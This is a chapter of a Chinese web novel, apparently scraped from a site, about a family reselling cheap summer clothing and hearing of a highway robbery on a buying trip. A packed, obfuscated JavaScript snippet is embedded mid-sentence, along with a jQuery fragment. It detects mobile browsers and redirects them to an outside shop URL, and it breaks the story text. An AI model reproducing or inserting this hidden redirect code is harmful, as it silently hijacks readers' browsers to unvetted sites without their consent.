去省城这一路,有了上次的经验,更是顺利,只花了两天一夜就回来了。
钟秀芝实在是累了,又十分信任女儿,在儿女的劝说下,第二日进货都没跟着去,直接在招待所睡了一天。
朱宜萍成功糊弄了她妈,把姐弟四人昧下的钱,通通进货。
这次进的是衣服,也不怕压。
朱宜萍没有喊车,除了几袋可以手提的,都邮回去了。
回来次日,朱宜萍就催钟秀芝带他们去隔壁的工业大镇的厂子门口卖货。
她算是明白了,不能让她妈闲着,不然高低要去砌长城的。
他们这次进货,正好遇上批发商夏季清仓,价格便宜得很,断码的大多是一块钱一件或两块钱一身拿下的,剩下的好些都是两三块进的货,超过五块的都没有。
朱宜萍记得小表妹在集市上买了一身衣服,款式还好,质量只有一般般——八块钱,姑姑还觉得自己很会讲价。
朱宜萍这次卖衣服,不再细分,只分大人和小孩的。小孩的衣服,成套的或连身裙十五块钱两套。不成套,上衣五块一件,裤子三块一件。大人的衣服,成套的或连身裙十五块一套。不成套的上衣十块一件,下裤三块一件。
这时节,店里的成衣不便宜,多是自己扯了布去裁缝那里做。
他们的衣服,无论是质量、款式都是很好的,价格又这般优惠,来买的人不要太多,板车前人挤人,那架势不像是来买衣服,倒像是来抢衣服的。
钟秀芝收钱收得手软,感叹道:“这些人跟没见过衣服似的!”
“城里的衣服太贵了!去年姑姑给玉庭买一件羊毛衫,你晓得多少钱不?”朱宜萍伸了三个手指头。
“三十!你姑有钱烧的!十块一斤毛线,打件毛衣顶多两斤线。”钟秀芝撇嘴道。
“三十,妈,你真想太多哟!三百!”
“我的老天!你姑真是有钱烧的!你姑父工资就五百多块钱,她竟舍得花三百块钱给玉庭一个孩子买衣服。”钟秀芝咂舌,过会儿又问:“咱这衣服是不是卖得太便宜了?”
“不是咱卖得便宜,是店里的衣服卖得太贵了!这些做生意的,心太黑,胃口太大!”前世要不是有某宝某巴,家里几个孩子的衣服就要把她愁死了。
手提回来的衣服,她们一个早上就卖光了。
等了两天,邮的衣服到了,朱宜夏喊了同学爸爸的车拉回去,一天两三板车地卖,不等南下的一行人回来,就把衣服卖光了。
三人又去进了一趟货,回来的时候南下一行人总算回来了。
“那边的批发市场比省城的要大得多,鞋子倒罢了,跟省城大同小异。衣服就不同了,还有按包按斤卖的。咱集市上卖的衣服,一准是那一包包里头质量梭拉西的。”朱有兰噼里啪啦道。
“你们怎么这么久才回来?说好顶多一个星期就回的。”钟秀芝问道。
“我们想着好不容易去一趟,多去长长见识,也想去看看,能不能到厂里拿货。这样,又少了一层手续,多赚些钱。”章玉庭挠了挠头,“我想多了,咱一样就几双拿货,人没这时间接待。厂里拿货,一个款式要拿上百双才行。去厂里拿货的,大多是档口的老板。”
“去厂里走一走,挺好!”
“是呀!”朱有兰接话,“我算是长见识了!好些厂里,起堆的残次品,就那么堆在场地上,白捡几个都可以的。那些纽扣、耳环、杯子,拿集市上卖,便宜些也是很好卖的。”
“那倒也是条路子!不过,咱人手就这么多,买鞋卖衣服也就够了。我们这次进的衣服就卖得挺好的,都倒腾第二回了。”钟秀芝自得道。
“这么好卖吗?”
“你把所有的钱都进衣服了?”朱建国心里一惊。
“放心!衣服只要够便宜,好卖得很!”钟秀芝信心满满。
“都是夏天的?”朱建国追问道。
“都是夏天的!这时节谁买秋天的衣服。买回来卖不动,白浪费钱。”
朱宜萍知道她爸担心什么,便道:“衣服真的很好卖的。一片厂子路口,卖个两千来件不成问题。我们就去青山、安成、蒙山和周边村镇的集市上卖了卖,就把衣服卖光了。就咱这一片,人来家里买,都卖了三四百件。”
“加紧卖吧!夏天不剩多少时候了,越到后头人越舍不得买,别的店里恐怕也要清货。”朱建国眉头紧皱,“你们也不等我们回来商量商量,就进这么多货。”
朱宜萍横了他一眼,冷笑道:“等你们回来,黄花菜都凉了!”
“货进了就进了,没准歪打正着,能大赚一笔。”章长明和稀泥,“咱们只有抓紧卖了。我是要回厂里上班的。哥,你先帮着他们卖一卖货,米先不急着打。”
“不行!我已经一个星期没去转了,再不去人就要喊别的打米师傅了,地盘就让人沾了。你们这卖衣服卖鞋,也是遇着人换季清仓,才能赚大钱。况且,这钱也不是好赚的。这次咱遇到劫路的,多凶险!这幸好人只要了钱,要是把货劫了,又或者杀人劫货……这做生意的事,别只看赚钱的时候。以后怎么样,很难说。我打米的业务,赚的是家门口的前,老稳,不能丢。”朱建国反对道。
“你们遇着劫道的了?”钟秀芝惊了,问:“没打起来吧?人有没有事儿?”
“人都没事,就是受了一场惊吓。”朱有兰答道。
“这是怎么弄的?新社会新时代,怎么还有人劫路?这根土匪强盗有什么区别!”钟秀芝愤愤不平道。
“你是坐在深井里!外头劫道的多着呢!”朱建国没好气道。
“姑姑,他们咱劫道的?人多吗?”朱宜萍怕他们两个吵起来,赶紧转移话题。
“人多呢,十来个!道上洒图钉,车一停,十几个流里流气的小伙子,拿着刀举着棒,把车围了。幸好咱进的不是啥贵重货,我又好话说尽,交了两千块钱就给放行了。”朱有兰说着都有些后怕,“也好在咱去的人多,司机也有些功夫在身上,来了个手劈砖头。”
“还是长明有成算,找了个练家子,又当过兵,有些人脉,关卡也就用了两条烟就过了。”朱建国挺佩服妹夫的脑子。
“我这也是吃一堑,长一智。以前去出差,好好的货拉去人说不合格,就放那里不收货,硬是要折价。请人来鉴定,又在人家的地盘;硬气些,拉回去,路上状况百出。建国有点说得对,生意不好做。”章长明很是认同这一点,“这次进的鞋,别去老地方卖。进的货杂,难免有金玉其外
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228385|151312||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的,遇到人要退,只有赔钱赚吆喝的。咱小本买卖,赔不起人家。”
朱宜萍被他们说得有些灰心,心想这次能赚到钱,真的只是运气好吗?
“不管怎样!这生意我还是要做!现在让我去织鞭炮,一个月赚六七十块钱,那是不可能了!”朱有兰很是决绝,“我宁愿被杀人越货,也不要赚那点死钱。”
朱宜萍也是,宁死也不要过前世那种麻木又无望的日子了!
“遇到困难,解决困难就好了!我们这次进的衣服,没有喊车,走的邮局。大不了,以后就不进鞋子这金贵玩意儿。”钟秀芝个人是赞成卖衣服的,比卖鞋钱来得快。
“以后的事以后再说吧!先把手上的货快点出了要紧。”章长明提醒道。
“还是跟以前一样,兵分两路吧!”章玉庭道。
“我赞成。”朱宜萍附和。
“我也赞成。”朱宜夏机灵道。
就这样,三人又成功聚首,开启卖货藏小钱钱之旅。
“上次六千块钱,我进了货,卖了之后,大概算了一下,翻到了两万五。这笔钱,我又给进货了。我早先就在城里租了一套房子,货都给邮到那边去了。我们每天就从家拉一板车货,卖完家里的,就卖自己的。”朱宜萍交代道。
“姐,你可以呀!跟着你混,我没成年都快就混成万元户了!这在镇上、县里、市里都是头一份吧?”朱宜夏高兴道。
“山外有山,人外有人。”朱宜萍嘴上矜持,心里却是很高兴的。
她的一个主意,在全家人的齐心协力下做成,把家里改了一个境地。不说别的,单她存下的钱,只要她不在学校吃住,都够她读高中了。
她心里总算踏实了一点。
“宜萍,你有没有想过,赚来的钱怎么花?”
“存起来读书。”朱宜萍想了想,“寒暑假可以用这些钱,进货卖货,做一做生意。”
“那上学这段时间呢?就把钱放银行吃利息?”
“上学了,就要把心思放学习上。再说,那时节咱也没时间走街串巷地卖货。”朱宜萍心想玉庭这么问,定有些缘故,便道:“你有什么好主意吗?”
“我是有个想法,但还没想得很透彻,等我写好了计划书,再拿给你看。你要愿意,咱就继续合伙。”章玉庭道。
“行!只要不耽误学习,我就和你合伙。”朱宜萍很信任这个表弟,毕竟算是家族第一人了。
章玉庭却道:“肯定要耽误一点学习的,但不会耽误太多。”
“那我要想想。我赚钱,也是为了能够念书。”这是她一辈子的遗憾呀!
“行!等你看了计划书再说吧!”章玉庭也不急,却又道:“没钱万般不能自主。咱能赚钱的时候,还是多赚些钱。生活处处都要用钱。我家原先的情况,供我念高中是没问题的,供我念大学可够呛。”
“是呀!大学以后还要结婚生子,房子、车子、孩子,处处都是花钱的地儿!生活就是这样,不给人喘息的机会,事情一件件地催逼上来。”朱宜萍感叹道。
“姐,你这就想嫁人了?想得挺远的!”朱宜夏哈哈大笑。
朱宜萍看着他这样子,莫名想到一句诗:年少不知愁!
真好!